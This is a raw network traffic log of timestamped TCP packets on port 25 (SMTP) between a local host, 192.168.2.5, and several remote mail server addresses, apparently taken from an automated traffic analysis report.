Nov 7, 2022 22:24:38.107882977 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:38.146526098 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.149599075 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.170156956 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.172300100 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:38.179296970 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.200654030 CET	49776	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:38.208570004 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.212466955 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.212558031 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.226135969 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:38.226298094 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:38.255273104 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.262145996 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.280160904 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:38.283399105 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:38.283442020 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:38.283569098 CET	49771	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:38.295773983 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.305804014 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.321264982 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.329874039 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.330214977 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.359287024 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.362582922 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.363563061 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.371920109 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.375174046 CET	25	49776	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:38.375410080 CET	49776	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:38.402863979 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.403023005 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.407054901 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.440526009 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.440555096 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.440576077 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.440669060 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.440682888 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.440758944 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.440845013 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.440958023 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.445661068 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.445821047 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.470355988 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:38.474167109 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474206924 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474220037 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474231958 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474245071 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474251986 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474265099 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474354029 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474370956 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474404097 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474420071 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474432945 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474440098 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.474447012 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474458933 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474471092 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474482059 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474493980 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474499941 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.474499941 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.474505901 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.474548101 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.474581957 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.474581957 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.479238033 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.479290962 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.479441881 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.507859945 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.507905960 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.507922888 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.507934093 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.507951021 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.507968903 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.507986069 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508004904 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508023024 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508042097 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508059978 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508076906 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508093119 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508109093 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508119106 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.508125067 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508141994 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508153915 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508166075 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508178949 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508192062 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508202076 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.508204937 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508223057 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508239031 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508244038 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.508258104 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508270025 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508282900 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508284092 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.508301020 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508311033 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.508316994 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508333921 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508351088 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508367062 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508387089 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508399963 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508414030 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.508440971 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.508497953 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.508497953 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.512731075 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.512748003 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.512761116 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.512773037 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.512799025 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.512854099 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.541773081 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.541848898 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.541907072 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.541970015 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.541970015 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.541980982 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542021036 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542062998 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542092085 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542113066 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542128086 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542162895 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542174101 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542211056 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542224884 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542257071 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542275906 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542311907 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542340994 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542366982 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542367935 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542413950 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542424917 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542479038 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542484999 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542529106 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542558908 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542565107 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542589903 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542607069 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542620897 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542627096 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542651892 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542663097 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542682886 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542684078 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542702913 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542715073 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542741060 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542743921 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542778969 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542785883 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542804956 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542825937 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542848110 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542865992 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542901993 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542918921 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542918921 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542929888 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542954922 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542959929 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.542978048 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.542989016 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543013096 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543018103 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543039083 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543046951 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543065071 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543075085 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543102026 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543124914 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543149948 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543164015 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543181896 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543200970 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543200970 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543212891 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543227911 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543241978 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543272018 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543272972 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543292999 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543301105 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543324947 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543350935 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543355942 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543368101 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543386936 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543387890 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543420076 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543421030 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543441057 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543451071 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543469906 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543479919 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543504953 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543510914 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543524981 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543543100 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543565035 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543572903 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543596029 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543602943 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543625116 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543632030 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543662071 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543665886 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543684006 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543692112 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543716908 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543721914 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543744087 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.543751955 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543772936 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543792009 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543812037 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543831110 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543859005 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543883085 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543901920 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543921947 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543941021 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543961048 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543979883 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.543998957 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.544025898 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.544054985 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.544074059 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.544086933 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.544100046 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.546149969 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.546199083 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.546240091 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.546278954 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.546322107 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.546367884 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.546407938 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.546447039 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.548944950 CET	25	49776	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:38.577610016 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577649117 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577662945 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577675104 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577692032 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577709913 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577722073 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577739000 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577755928 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577771902 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577791929 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577810049 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577826023 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577891111 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.577969074 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578012943 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578088045 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578130960 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578176975 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578206062 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578291893 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578336000 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578412056 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578433037 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578538895 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578568935 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578649044 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578731060 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578779936 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578829050 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578845978 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578943968 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.578960896 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.579010963 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.579221964 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.579256058 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.579272985 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.579873085 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.579900980 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.579920053 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.579935074 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.579951048 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580009937 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580128908 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580180883 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580198050 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580246925 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580275059 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580291986 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580437899 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580457926 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580513000 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580530882 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580610037 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580691099 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580708981 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580810070 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580889940 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580930948 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.580945015 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581012964 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581140041 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581155062 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581211090 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581228971 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581243038 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581393003 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581408978 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581496000 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581532955 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581546068 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581557989 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581604958 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581646919 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581733942 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581820011 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581835032 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581846952 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581891060 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581971884 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.581984043 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582046986 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582133055 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582146883 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582207918 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582289934 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582374096 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582392931 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582406998 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582535028 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582623959 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582639933 CET	25	49773	142.250.147.27	192.168.2.5
